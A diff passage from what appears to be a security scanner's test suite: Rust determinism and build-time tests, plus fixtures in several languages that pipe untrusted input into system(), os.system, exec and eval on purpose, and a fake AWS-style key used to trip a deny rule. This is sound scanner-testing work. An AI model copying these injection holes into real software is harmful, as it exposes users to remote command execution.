assert!(
outcome.triggered_by.is_some(),
"Ruby DESERIALIZE vuln must Confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("Confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
}

411
tests/determinism_audit.rs Normal file
View file

@ -0,0 +1,411 @@
//! Phase 30 (Track C — determinism): run the verifier 10× on the same
//! input and assert byte-identical [`VerifyTrace`] output across runs,
//! plus byte-identical telemetry records once wall-clock fields are
//! stripped.
//!
//! The test deliberately drives the policy-deny short-circuit so it
//! does not depend on a working language toolchain, a sandbox backend,
//! or a populated payload corpus. That path emits exactly the same
//! pipeline events ([`SpecStarted`], [`Verdict`]) every run, and
//! emits a single telemetry record whose only non-deterministic field
//! is the wall-clock `ts` timestamp. Stripping `ts` gives a stable
//! envelope the test can compare directly.
#![cfg(feature = "dynamic")]
use nyx_scanner::commands::scan::Diag;
use nyx_scanner::dynamic::telemetry::{self, SamplingPolicy};
use nyx_scanner::dynamic::verify::{VerifyOptions, verify_finding};
use nyx_scanner::evidence::{Confidence, Evidence, VerifyStatus};
use nyx_scanner::patterns::{FindingCategory, Severity};
use serde_json::Value;
use std::collections::BTreeSet;
use std::sync::{Mutex, MutexGuard};
const RUN_COUNT: usize = 10;
// `NYX_TELEMETRY_PATH` and the telemetry log are process-wide; cargo test
// runs the tests in this binary in parallel by default, which would race
// the env var and interleave writes from sibling tests into the file the
// telemetry-determinism assertion is reading. Serialise the tests in
// this file with a module-level mutex so each owns the telemetry surface
// exclusively for the duration of its run.
static TEST_LOCK: Mutex<()> = Mutex::new(());
fn lock_telemetry() -> MutexGuard<'static, ()> {
TEST_LOCK.lock().unwrap_or_else(|e| e.into_inner())
}
fn deny_diag(stable_hash: u64) -> Diag {
// Triggers the credentials deny rule via the AWS-key regex from
// `crate::utils::redact::contains_secret`. The deny rule fires
// deterministically because the rule lookup table is `const`.
let ev = Evidence {
notes: vec!["secret=AKIAFAKEDETERM00000000".to_owned()],
..Evidence::default()
};
Diag {
path: "src/handler.py".to_owned(),
line: 42,
col: 0,
severity: Severity::High,
id: "py.cmdi.os_system".to_owned(),
category: FindingCategory::Security,
path_validated: false,
guard_kind: None,
message: None,
labels: vec![],
confidence: Some(Confidence::High),
evidence: Some(ev),
rank_score: None,
rank_reason: None,
suppressed: false,
suppression: None,
rollup: None,
finding_id: String::new(),
alternative_finding_ids: vec![],
stable_hash,
}
}
/// Strip every non-deterministic field from a parsed telemetry record
/// and re-serialise. Phase 30 acceptance explicitly excludes wall-clock
/// timestamps; `ts` is the only such field today. Future additions
/// belong in this filter so the canonical "what does deterministic
/// telemetry look like?" surface lives in one place.
fn strip_volatile_fields(line: &str) -> String {
let mut value: Value = serde_json::from_str(line).expect("telemetry line should be JSON");
if let Some(obj) = value.as_object_mut() {
obj.remove("ts");
// `duration_ms` is zero on the no-sandbox deny path, but strip
// it defensively so the audit stays correct if a future code
// path stamps a non-zero duration before the verdict short-
// circuits.
obj.remove("duration_ms");
}
serde_json::to_string(&value).expect("re-serialisation cannot fail")
}
#[test]
fn ten_runs_produce_byte_identical_telemetry_minus_timestamps() {
let _guard = lock_telemetry();
let tmp = tempfile::TempDir::new().expect("tempdir");
let log = tmp.path().join("events.jsonl");
// Pin the telemetry log to the temp file and ensure the
// `NYX_NO_TELEMETRY` opt-out is not set in this process.
unsafe {
std::env::set_var("NYX_TELEMETRY_PATH", &log);
std::env::remove_var("NYX_NO_TELEMETRY");
}
let diag = deny_diag(0x0123_4567_89ab_cdef);
let opts = VerifyOptions {
telemetry_policy: SamplingPolicy::keep_all(),
trace_verbose: false,
..VerifyOptions::default()
};
let mut verdict_jsons: BTreeSet<String> = BTreeSet::new();
for _ in 0..RUN_COUNT {
let result = verify_finding(&diag, &opts);
assert_eq!(result.status, VerifyStatus::Inconclusive);
// Drop `differential` and any future timestamped field by
// round-tripping through serde; structural equality is the
// contract.
verdict_jsons.insert(serde_json::to_string(&result).expect("VerifyResult serialises"));
}
assert_eq!(
verdict_jsons.len(),
1,
"VerifyResult must be byte-identical across {RUN_COUNT} runs, got {} distinct",
verdict_jsons.len()
);
// Read the telemetry log; expect RUN_COUNT lines, all identical
// once `ts` is removed.
let parsed = telemetry::read_events(&log).expect("events.jsonl should parse");
assert_eq!(
parsed.len(),
RUN_COUNT,
"expected {RUN_COUNT} telemetry records, got {}",
parsed.len()
);
let stripped: BTreeSet<String> = parsed
.iter()
.map(|v| {
// round-trip through string so the strip path matches
// what the on-disk reader does.
let line = serde_json::to_string(v).expect("re-serialise");
strip_volatile_fields(&line)
})
.collect();
assert_eq!(
stripped.len(),
1,
"telemetry records must be byte-identical (sans ts/duration_ms) across {RUN_COUNT} runs, got {} distinct: {:?}",
stripped.len(),
stripped
);
// Cleanup: leave the env var pointing at the (about-to-be-deleted)
// tempdir would poison sibling tests that share this process.
unsafe {
std::env::remove_var("NYX_TELEMETRY_PATH");
}
}
/// Recursively strip volatile fields from a `serde_json::Value` tree.
/// The Confirmed-path `VerifyResult` carries timing fields buried under
/// `differential.vuln_probes[].captured_at_ns` etc., so a flat top-level
/// `obj.remove(...)` is not enough.
///
/// Field denylist:
/// - `captured_at_ns` — wall-clock probe capture timestamp.
/// - `ts` / `duration_ms` — telemetry-side timing fields stripped by
/// [`strip_volatile_fields`] but worth re-stripping here too in case
/// a future code path lands them on `VerifyResult` directly.
/// - `repro_bundle` / `bundle_dir` — `NYX_REPRO_BASE` is fed an
/// in-test-tempdir whose path is stable across the loop, but the
/// hashed sub-directory name folds in any per-run randomness; strip
/// defensively.
#[cfg(target_os = "macos")]
fn strip_volatile_recursive(value: &mut Value) {
const VOLATILE_KEYS: &[&str] = &[
"captured_at_ns",
"ts",
"duration_ms",
"repro_bundle",
"bundle_dir",
];
match value {
Value::Object(map) => {
for key in VOLATILE_KEYS {
map.remove(*key);
}
for (_, v) in map.iter_mut() {
strip_volatile_recursive(v);
}
}
Value::Array(arr) => {
for v in arr.iter_mut() {
strip_volatile_recursive(v);
}
}
_ => {}
}
}
/// Confirmed-path determinism: drive the verifier through a real
/// payload run (macOS process backend + sandbox-exec wrap + python3
/// harness) `RUN_COUNT_CONFIRMED` times and assert byte-identical
/// `VerifyResult` once volatile timing fields are stripped.
///
/// Mirrors [`ten_runs_produce_byte_identical_telemetry_minus_timestamps`]
/// (the deny-path determinism contract) but exercises the build →
/// sandbox → probe pipeline instead of the policy-deny short-circuit.
/// Closes the determinism audit's "complete coverage needs an end-to-end
/// Confirmed run" gap.
///
/// macOS-only: the Linux process backend needs `cc -static` + libc.a to
/// drive the C fixture through chroot, and `cc -static` is unsupported
/// by the Darwin clang shipped with Xcode. The Linux row's analogue
/// lands when the Phase 17 follow-up's `bind_mount_host_libs` opt-in
/// wiring (see `deferred.md`) lets the python harness survive chroot.
///
/// `RUN_COUNT_CONFIRMED = 3` keeps the test cost bounded (~6s per run
/// on a warm cache → ~20s total) while still gating against single-run
/// hash collisions that would flake at N=2. Bumping to N=10 (matching
/// the deny-path test) is a wall-clock decision, not a coverage one.
#[cfg(all(feature = "dynamic", target_os = "macos"))]
#[test]
fn confirmed_run_is_byte_identical_across_runs() {
use nyx_scanner::evidence::{FlowStep, FlowStepKind};
use nyx_scanner::labels::Cap;
use nyx_scanner::utils::config::Config;
use std::path::PathBuf;
let _guard = lock_telemetry();
const RUN_COUNT_CONFIRMED: usize = 3;
// Pre-flight skips: the macOS process backend needs the sandbox-exec
// wrap binary + a working python3 to drive the cmdi_positive fixture.
if !std::path::Path::new("/usr/bin/sandbox-exec").exists() {
eprintln!("SKIP: /usr/bin/sandbox-exec missing — cannot exercise process-backend wrap");
return;
}
if !std::process::Command::new("/usr/bin/python3")
.arg("--version")
.output()
.map(|o| o.status.success())
.unwrap_or(false)
{
eprintln!("SKIP: /usr/bin/python3 missing — cannot run python harness");
return;
}
let fixture_src = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures/python/cmdi_positive.py");
let tmp = tempfile::TempDir::new().expect("create tempdir");
let dst = tmp.path().join("cmdi_positive.py");
std::fs::copy(&fixture_src, &dst).expect("stage fixture into tempdir");
// Pin the repro bundle + telemetry log to in-test tempdir paths so
// every run reads + writes the same absolute paths (the per-run path
// would otherwise leak into VerifyResult and break determinism).
unsafe {
std::env::set_var("NYX_REPRO_BASE", tmp.path().join("repro").to_str().unwrap());
std::env::set_var(
"NYX_TELEMETRY_PATH",
tmp.path().join("events.jsonl").to_str().unwrap(),
);
std::env::remove_var("NYX_NO_TELEMETRY");
}
let path_str = dst.to_string_lossy().into_owned();
let evidence = Evidence {
flow_steps: vec![
FlowStep {
step: 1,
kind: FlowStepKind::Source,
file: path_str.clone(),
line: 1,
col: 0,
snippet: None,
variable: Some("host".into()),
callee: None,
function: Some("run_ping".into()),
is_cross_file: false,
},
FlowStep {
step: 2,
kind: FlowStepKind::Sink,
file: path_str.clone(),
line: 13,
col: 4,
snippet: None,
variable: None,
callee: None,
function: None,
is_cross_file: false,
},
],
sink_caps: Cap::CODE_EXEC.bits(),
..Default::default()
};
let diag = Diag {
path: path_str,
line: 13,
col: 0,
severity: Severity::High,
id: "taint-unsanitised-flow".into(),
category: FindingCategory::Security,
path_validated: false,
guard_kind: None,
message: None,
labels: vec![],
confidence: Some(Confidence::High),
evidence: Some(evidence),
rank_score: None,
rank_reason: None,
suppressed: false,
suppression: None,
rollup: None,
finding_id: String::new(),
alternative_finding_ids: vec![],
stable_hash: 0xdec0_de00_dec0_de00,
};
let mut config = Config::default();
config.scanner.harden_profile = "strict".to_owned();
// Force the process backend: Auto would route python to docker on
// CI hosts where docker is reachable, and docker ignores the
// hardening profile. Pinning to `process` exercises the sandbox-
// exec wrap on every run, which is the surface the determinism
// contract covers.
config.scanner.verify_backend = "process".to_owned();
let mut opts = VerifyOptions::from_config(&config);
opts.telemetry_policy = SamplingPolicy::keep_all();
opts.trace_verbose = false;
let first = verify_finding(&diag, &opts);
if first.status != VerifyStatus::Confirmed {
eprintln!(
"SKIP: cmdi_positive.py under --harden=strict did not confirm in this environment \
(status={:?}, detail={:?})",
first.status, first.detail,
);
unsafe {
std::env::remove_var("NYX_REPRO_BASE");
std::env::remove_var("NYX_TELEMETRY_PATH");
}
return;
}
let mut stripped: BTreeSet<String> = BTreeSet::new();
for (i, result) in std::iter::once(first)
.chain((1..RUN_COUNT_CONFIRMED).map(|_| verify_finding(&diag, &opts)))
.enumerate()
{
assert_eq!(
result.status,
VerifyStatus::Confirmed,
"run {i}: cmdi_positive.py under --harden=strict must Confirm — got {:?} (detail={:?})",
result.status,
result.detail,
);
let mut json: Value =
serde_json::from_str(&serde_json::to_string(&result).expect("VerifyResult serialises"))
.expect("re-parse");
strip_volatile_recursive(&mut json);
stripped.insert(json.to_string());
}
assert_eq!(
stripped.len(),
1,
"VerifyResult must be byte-identical across {RUN_COUNT_CONFIRMED} runs once volatile \
timing fields are stripped; got {} distinct values: {:?}",
stripped.len(),
stripped,
);
unsafe {
std::env::remove_var("NYX_REPRO_BASE");
std::env::remove_var("NYX_TELEMETRY_PATH");
}
}
#[test]
fn policy_deny_excerpt_is_stable_across_runs() {
let _guard = lock_telemetry();
// The PolicyDeniedDynamic verdict carries an excerpt scrubbed via
// the blake3-keyed `Scrubber`. blake3 is deterministic, so the
// excerpt should be byte-identical across runs. Independent
// assertion from the telemetry-determinism test because the
// scrubber-hash path is a separate determinism contract worth
// pinning on its own.
let diag = deny_diag(0xfeed_face_0123_4567);
let opts = VerifyOptions::default();
let mut excerpts: BTreeSet<String> = BTreeSet::new();
for _ in 0..RUN_COUNT {
let result = verify_finding(&diag, &opts);
match result
.inconclusive_reason
.expect("expected PolicyDeniedDynamic on deny path")
{
nyx_scanner::evidence::InconclusiveReason::PolicyDeniedDynamic { excerpt, .. } => {
excerpts.insert(excerpt);
}
other => panic!("expected PolicyDeniedDynamic, got {other:?}"),
}
}
assert_eq!(
excerpts.len(),
1,
"scrubbed excerpt must be deterministic across {RUN_COUNT} runs, got {excerpts:?}"
);
}

92
tests/dynamic_c_build_pool.rs Normal file
View file

@ -0,0 +1,92 @@
//! Phase 23 / Track O.1 micro-benchmark for the C build pool.
//!
//! Asserts the hot-build P50 (a `ccache`-fronted recompile, or a bare trivial
//! `cc` when ccache is absent) stays ≤ 1s, the compiled-language budget.
//! Skips when `cc` is not runnable.
#![cfg(feature = "dynamic")]
use std::path::Path;
use std::sync::{Mutex, MutexGuard};
use std::time::{Duration, Instant};
use nyx_scanner::dynamic::build_pool::BuildPool;
use nyx_scanner::dynamic::build_pool::c::CPool;
static ENV_LOCK: Mutex<()> = Mutex::new(());
struct PoolDirGuard {
_lock: MutexGuard<'static, ()>,
prior: Option<String>,
_dir: tempfile::TempDir,
}
impl PoolDirGuard {
fn isolated() -> Self {
let lock = ENV_LOCK.lock().unwrap_or_else(|p| p.into_inner());
let dir = tempfile::TempDir::new().unwrap();
let prior = std::env::var("NYX_BUILD_POOL_DIR").ok();
unsafe { std::env::set_var("NYX_BUILD_POOL_DIR", dir.path()) };
Self {
_lock: lock,
prior,
_dir: dir,
}
}
}
impl Drop for PoolDirGuard {
fn drop(&mut self) {
match self.prior.take() {
Some(v) => unsafe { std::env::set_var("NYX_BUILD_POOL_DIR", v) },
None => unsafe { std::env::remove_var("NYX_BUILD_POOL_DIR") },
}
}
}
fn median(mut ds: Vec<Duration>) -> Duration {
ds.sort();
ds[ds.len() / 2]
}
fn write_source(workdir: &Path) {
std::fs::write(workdir.join("main.c"), "int main(void) { return 0; }\n").unwrap();
}
#[test]
#[ignore = "real-toolchain perf bench: spawns `cc`. Opt-in so the default suite stays hermetic + fast. Run: cargo nextest run --features dynamic --run-ignored ignored-only -E 'binary(~build_pool) | binary(~compile_pool)'"]
fn hot_rebuild_p50_under_one_second() {
let _guard = PoolDirGuard::isolated();
let pool = match CPool::try_new() {
Ok(p) => p,
Err(e) => {
eprintln!("skipping c build-pool bench: {e}");
return;
}
};
let work = tempfile::TempDir::new().unwrap();
write_source(work.path());
let dest = work.path().join("nyx_harness_out");
let args = [dest.to_string_lossy().into_owned(), "dynamic".to_owned()];
let cold = pool.compile_batch(work.path(), &args);
assert!(cold.success, "cold build must succeed: {}", cold.stderr);
assert!(dest.exists(), "cold build must emit the binary");
let mut hot = Vec::new();
for _ in 0..5 {
let _ = std::fs::remove_file(&dest);
let start = Instant::now();
let r = pool.compile_batch(work.path(), &args);
hot.push(start.elapsed());
assert!(r.success, "hot build must succeed: {}", r.stderr);
}
let p50 = median(hot);
eprintln!("c build-pool hot P50: {p50:?}");
assert!(
p50 <= Duration::from_secs(1),
"c hot-build P50 {p50:?} exceeds the 1s compiled budget",
);
}

92
tests/dynamic_cpp_build_pool.rs Normal file
View file

@ -0,0 +1,92 @@
//! Phase 23 / Track O.1 micro-benchmark for the C++ build pool.
//!
//! Asserts the hot-build P50 (a `ccache`-fronted recompile, or a bare trivial
//! `c++` when ccache is absent) stays ≤ 1s, the compiled-language budget.
//! Skips when `c++` is not runnable.
#![cfg(feature = "dynamic")]
use std::path::Path;
use std::sync::{Mutex, MutexGuard};
use std::time::{Duration, Instant};
use nyx_scanner::dynamic::build_pool::BuildPool;
use nyx_scanner::dynamic::build_pool::cpp::CppPool;
static ENV_LOCK: Mutex<()> = Mutex::new(());
struct PoolDirGuard {
_lock: MutexGuard<'static, ()>,
prior: Option<String>,
_dir: tempfile::TempDir,
}
impl PoolDirGuard {
fn isolated() -> Self {
let lock = ENV_LOCK.lock().unwrap_or_else(|p| p.into_inner());
let dir = tempfile::TempDir::new().unwrap();
let prior = std::env::var("NYX_BUILD_POOL_DIR").ok();
unsafe { std::env::set_var("NYX_BUILD_POOL_DIR", dir.path()) };
Self {
_lock: lock,
prior,
_dir: dir,
}
}
}
impl Drop for PoolDirGuard {
fn drop(&mut self) {
match self.prior.take() {
Some(v) => unsafe { std::env::set_var("NYX_BUILD_POOL_DIR", v) },
None => unsafe { std::env::remove_var("NYX_BUILD_POOL_DIR") },
}
}
}
fn median(mut ds: Vec<Duration>) -> Duration {
ds.sort();
ds[ds.len() / 2]
}
fn write_source(workdir: &Path) {
std::fs::write(workdir.join("main.cpp"), "int main() { return 0; }\n").unwrap();
}
#[test]
#[ignore = "real-toolchain perf bench: spawns `c++`. Opt-in so the default suite stays hermetic + fast. Run: cargo nextest run --features dynamic --run-ignored ignored-only -E 'binary(~build_pool) | binary(~compile_pool)'"]
fn hot_rebuild_p50_under_one_second() {
let _guard = PoolDirGuard::isolated();
let pool = match CppPool::try_new() {
Ok(p) => p,
Err(e) => {
eprintln!("skipping cpp build-pool bench: {e}");
return;
}
};
let work = tempfile::TempDir::new().unwrap();
write_source(work.path());
let dest = work.path().join("nyx_harness_out");
let args = [dest.to_string_lossy().into_owned()];
let cold = pool.compile_batch(work.path(), &args);
assert!(cold.success, "cold build must succeed: {}", cold.stderr);
assert!(dest.exists(), "cold build must emit the binary");
let mut hot = Vec::new();
for _ in 0..5 {
let _ = std::fs::remove_file(&dest);
let start = Instant::now();
let r = pool.compile_batch(work.path(), &args);
hot.push(start.elapsed());
assert!(r.success, "hot build must succeed: {}", r.stderr);
}
let p50 = median(hot);
eprintln!("cpp build-pool hot P50: {p50:?}");
assert!(
p50 <= Duration::from_secs(1),
"cpp hot-build P50 {p50:?} exceeds the 1s compiled budget",
);
}

11
tests/dynamic_fixtures/c/free_fn/benign.c Normal file
View file

@ -0,0 +1,11 @@
/* Phase 16 — free function with (const char *, size_t), benign. */
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
void run(const char *payload, size_t len) {
(void)payload; (void)len;
printf("__NYX_SINK_HIT__\n");
fflush(stdout);
system("echo hello");
}

24
tests/dynamic_fixtures/c/free_fn/setup_fault.c Normal file
View file

@ -0,0 +1,24 @@
/* Phase 08 (b) acceptance fixture — crash outside the sink.
*
* Cap: FMT_STRING. A global constructor (`__attribute__((constructor))`)
* runs before `main`, so the abort fires BEFORE the harness reaches
* `__nyx_install_crash_guard`. No Crash probe is written, the
* `Oracle::SinkCrash` predicate sees `process_crashed &&
* !has_sink_crash_probe`, and the verifier routes to
* `Inconclusive(UnrelatedCrash)` instead of `Confirmed`.
*
* The `run` body is unreachable but must compile so the entry symbol
* resolves at link time. */
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) static void nyx_fixture_crash_in_setup(void) {
abort();
}
void run(const char *payload, size_t len) {
(void)payload;
(void)len;
printf("__NYX_SINK_HIT__\n");
}

25
tests/dynamic_fixtures/c/free_fn/sink_fault.c Normal file
View file

@ -0,0 +1,25 @@
/* Phase 08 (a) acceptance fixture — crash at the sink.
*
* Cap: FMT_STRING. Prints the `__NYX_SINK_HIT__` sentinel so the runner
* sees the in-harness sink-hit, then NULL-dereferences when handed the
* vuln payload. The harness's `__nyx_install_crash_guard` was installed
* earlier in `main`, so SIGSEGV writes a Crash probe to `NYX_PROBE_PATH`,
* which lifts the `Oracle::SinkCrash` predicate to `Confirmed`.
*
* Differential confirmation: the paired benign payload carries the
* `NYX_BENIGN` marker. The short-circuit below returns cleanly on the
* benign run so `benign_fired = false`, satisfying the §4.1 rule. */
#include <stddef.h>
#include <stdio.h>
#include <string.h>
void run(const char *payload, size_t len) {
(void)len;
printf("__NYX_SINK_HIT__\n");
fflush(stdout);
if (payload && strstr(payload, "NYX_BENIGN")) {
return;
}
volatile char *p = NULL;
*p = 1;
}

17
tests/dynamic_fixtures/c/free_fn/vuln.c Normal file
View file

@ -0,0 +1,17 @@
/* Phase 16 — free function with (const char *, size_t), vulnerable.
*
* Cap: CODE_EXEC. Concatenates payload into a shell command.
*/
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void run(const char *payload, size_t len) {
printf("__NYX_SINK_HIT__\n");
fflush(stdout);
if (!payload || len > 2048) return;
char cmd[4096];
snprintf(cmd, sizeof(cmd), "echo hello %s", payload);
system(cmd);
}

13
tests/dynamic_fixtures/c/libfuzzer/benign.c Normal file
View file

@ -0,0 +1,13 @@
/* Phase 16 — libFuzzer entry, benign. */
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
(void)data; (void)size;
printf("__NYX_SINK_HIT__\n");
fflush(stdout);
system("echo hello");
return 0;
}

20
tests/dynamic_fixtures/c/libfuzzer/vuln.c Normal file
View file

@ -0,0 +1,20 @@
/* Phase 16 — libFuzzer entry, vulnerable.
*
* Real libFuzzer entry: `int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)`.
* Cap: CODE_EXEC.
*/
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
printf("__NYX_SINK_HIT__\n");
fflush(stdout);
if (size == 0 || size > 2048) return 0;
char cmd[4096];
snprintf(cmd, sizeof(cmd), "echo hello %.*s", (int)size, (const char*)data);
system(cmd);
return 0;
}

15
tests/dynamic_fixtures/c/main_argv/benign.c Normal file
View file

@ -0,0 +1,15 @@
/* Phase 16 — main(argc, argv), benign.
*
* Shape marker: int main(int argc, char *argv[])
* Echoes a fixed greeting; argv is ignored.
*/
#include <stdio.h>
#include <stdlib.h>
int nyx_entry_main(int argc, char *argv[]) {
(void)argc; (void)argv;
printf("__NYX_SINK_HIT__\n");
fflush(stdout);
system("echo hello");
return 0;
}

25
tests/dynamic_fixtures/c/main_argv/vuln.c Normal file
View file

@ -0,0 +1,25 @@
/* Phase 16 — main(argc, argv), vulnerable.
*
* Entry: nyx_entry_main(int argc, char *argv[])
*
* Renamed away from `main` so the harness `main` symbol does not collide
* when the entry source is `#include`d. The harness emitter recognises the
* shape via the `int main(int argc, char *argv[])` substring in the
* comment header below, then calls `nyx_entry_main` with payload-bearing
* argv. Cap: CODE_EXEC.
*
* Shape marker: int main(int argc, char *argv[])
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int nyx_entry_main(int argc, char *argv[]) {
printf("__NYX_SINK_HIT__\n");
fflush(stdout);
if (argc < 2) return 0;
char cmd[4096];
snprintf(cmd, sizeof(cmd), "echo hello %s", argv[argc - 1]);
system(cmd);
return 0;
}

28
tests/dynamic_fixtures/callgraph_entry/express_handler_sink.js Normal file
View file

@ -0,0 +1,28 @@
// Phase 04 fixture: Express route handler is a named function bound at
// `app.post`; it calls a helper that holds the sink. The callgraph-aware
// spec-derivation path must rewrite the harness entry to the route
// handler `runCommand`, not the helper `execHelper`.
//
// `runCommand` reads `req.body.cmd` into a local before dispatching to
// `execHelper`. Threading the local through gives the JS callee
// extractor a clean call shape (bare identifier in argument position)
// so the call-graph picks up the `runCommand → execHelper` edge.
const express = require("express");
const { exec } = require("child_process");
const app = express();
function execHelper(cmd) {
exec(cmd); // sink: command injection
}
function runCommand(req, res) {
const cmd = req.body.cmd;
execHelper(cmd);
res.send("ok");
}
app.post("/run", runCommand);
module.exports = app;

21
tests/dynamic_fixtures/callgraph_entry/flask_route_sink.py Normal file
View file

@ -0,0 +1,21 @@
# Phase 04 fixture: sink in a helper function called only from a Flask
# route handler. The callgraph-aware spec-derivation path must rewrite
# the harness entry to the route handler `run_command` (entry-point
# ancestor with `entry_kind = FlaskRoute`), not the helper `_execute`
# where the sink physically lives.
from flask import Flask, request
app = Flask(__name__)
def _execute(cmd):
import os
os.system(cmd) # sink: command injection
@app.route("/run", methods=["POST"])
def run_command():
cmd = request.form.get("cmd", "")
_execute(cmd)
return "ok"

13
tests/dynamic_fixtures/callgraph_entry/orphan_helper_sink.py Normal file
View file

@ -0,0 +1,13 @@
# Phase 04 follow-up regression fixture: the sink lives in a class method
# that has no callers in the whole-program callgraph. The reverse-edge BFS
# in `find_entry_via_callgraph` must miss (helper is inside a class, so
# `is_entry_point`'s zero-in-degree heuristic does not apply), and the
# strict `derive_from_callgraph_walk_only` pre-step must defer to the
# strategy ladder so the substring `.http.` rule-id fallback does NOT
# short-circuit the more precise `FromFlowSteps` strategy.
class Stuff:
def helper(self, arg):
import os
os.system(arg) # sink: command injection

23
tests/dynamic_fixtures/callgraph_entry/spring_controller_sink.java Normal file
View file

@ -0,0 +1,23 @@
// Phase 04 fixture: Spring controller method calls a helper that holds
// the sink. The callgraph-aware spec-derivation path must rewrite the
// harness entry to the controller method `runCommand`, not the helper
// `execHelper`.
package fixture;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SinkController {
private void execHelper(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd); // sink: command injection
}
@PostMapping("/run")
public String runCommand(@RequestBody String cmd) throws Exception {
execHelper(cmd);
return "ok";
}
}

26
tests/dynamic_fixtures/chain_composer/python/flask_eval/app.py Normal file
View file

@ -0,0 +1,26 @@
"""End-to-end chain composer fixture.
A single-file Flask app where an unauthenticated POST handler reads
`cmd` straight off the request body and passes it to `eval()`. The
ingredients line up for the chain composer:
- SurfaceMap gains one `EntryPoint` (Flask `/run` POST, `auth_required: false`).
- SurfaceMap gains one `DangerousLocal` (the route function itself
consumes `Cap::CODE_EXEC` via the `eval` call site).
- A `taint-unsanitised-flow` finding ties `flask.request.json` to `eval`.
`nyx scan --format json` against this directory should emit at least one
entry in the top-level `chains` array. The chain's `implied_impact` is
`rce` (CODE_EXEC lattice fall-through) and its `severity` reaches
`critical` via the score path.
"""
import flask
app = flask.Flask(__name__)
@app.route("/run", methods=["POST"])
def run():
cmd = flask.request.json.get("cmd")
return {"out": eval(cmd)}

16
tests/dynamic_fixtures/class_method/c/benign.c Normal file
View file

@ -0,0 +1,16 @@
/* Phase 19 (Track M.1) — class-method benign control for C. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void UserService_run(const char *input, size_t len) {
(void)len;
/* Uses execve via fork; the shell never sees or echoes `input`. */
pid_t pid = fork();
if (pid == 0) {
char *argv[] = { (char*)"/usr/bin/true", (char*)(input ? input : ""), NULL };
execv("/usr/bin/true", argv);
_exit(127);
}
}

16
tests/dynamic_fixtures/class_method/c/vuln.c Normal file
View file

@ -0,0 +1,16 @@
/* Phase 19 (Track M.1) — class-method vuln fixture for C.
*
* C has no class system; the harness calls a free function whose name
* follows the `<Class>_<method>` convention (`UserService_run`). The
* function piping `input` straight into `system(3)` is the SINK. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void UserService_run(const char *input, size_t len) {
(void)len;
char buf[512];
snprintf(buf, sizeof(buf), "true %s", input ? input : "");
/* SINK: tainted input → system(3) */
system(buf);
}

25
tests/dynamic_fixtures/class_method/c_recursive_deps/benign.c Normal file
View file

@ -0,0 +1,25 @@
/* Benign control for the recursive C receiver fixture. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct ShellRunner {
int enabled;
} ShellRunner;
typedef struct CommandRunner {
ShellRunner *shell;
} CommandRunner;
typedef struct UserService {
CommandRunner *runner;
} UserService;
void UserService_run(UserService *self, const char *input, size_t len) {
(void)input;
(void)len;
if (!self || !self->runner || !self->runner->shell) {
return;
}
system("true");
}

26
tests/dynamic_fixtures/class_method/c_recursive_deps/vuln.c Normal file
View file

@ -0,0 +1,26 @@
/* ClassMethod C fixture with a receiver pointer and recursive struct deps. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct ShellRunner {
int enabled;
} ShellRunner;
typedef struct CommandRunner {
ShellRunner *shell;
} CommandRunner;
typedef struct UserService {
CommandRunner *runner;
} UserService;
void UserService_run(UserService *self, const char *input, size_t len) {
(void)len;
if (!self || !self->runner || !self->runner->shell) {
return;
}
char buf[512];
snprintf(buf, sizeof(buf), "true %s", input ? input : "");
system(buf);
}

19
tests/dynamic_fixtures/class_method/cpp/benign.cpp Normal file
View file

@ -0,0 +1,19 @@
// Phase 19 (Track M.1) — class-method benign control for C++.
#include <unistd.h>
#include <sys/wait.h>
#include <string>
class UserService {
public:
UserService() = default;
void run(const std::string& input) {
pid_t pid = fork();
if (pid == 0) {
const char* argv[] = { "/usr/bin/true", input.c_str(), nullptr };
execv("/usr/bin/true", const_cast<char* const*>(argv));
_exit(127);
}
int status = 0;
waitpid(pid, &status, 0);
}
};

17
tests/dynamic_fixtures/class_method/cpp/vuln.cpp Normal file
View file

@ -0,0 +1,17 @@
// Phase 19 (Track M.1) — class-method vuln fixture for C++.
//
// UserService::run pipes user input into `system(3)`. Default
// constructor exists; the harness can build the receiver with
// `UserService instance;`.
#include <cstdlib>
#include <string>
class UserService {
public:
UserService() = default;
void run(const std::string& input) {
std::string cmd = std::string("true ") + input;
// SINK: tainted input → system(3)
std::system(cmd.c_str());
}
};

29
tests/dynamic_fixtures/class_method/cpp_recursive_deps/benign.cpp Normal file
View file

@ -0,0 +1,29 @@
// Benign control for recursive C++ class-method receiver construction.
#include <string>
class ShellRunner {
public:
void exec(const std::string& _cmd) {}
};
class CommandRunner {
ShellRunner shell;
public:
explicit CommandRunner(ShellRunner shell) : shell(shell) {}
void run(const std::string& input) {
shell.exec(input);
}
};
class UserService {
CommandRunner runner;
public:
explicit UserService(CommandRunner runner) : runner(runner) {}
void run(const std::string& input) {
runner.run(input);
}
};

33
tests/dynamic_fixtures/class_method/cpp_recursive_deps/vuln.cpp Normal file
View file

@ -0,0 +1,33 @@
// C++ class-method fixture whose receiver has same-file constructor
// dependencies but no default constructor.
#include <cstdlib>
#include <string>
class ShellRunner {
public:
void exec(const std::string& cmd) {
std::system(cmd.c_str());
}
};
class CommandRunner {
ShellRunner shell;
public:
explicit CommandRunner(ShellRunner shell) : shell(shell) {}
void run(const std::string& input) {
shell.exec(std::string("true ") + input);
}
};
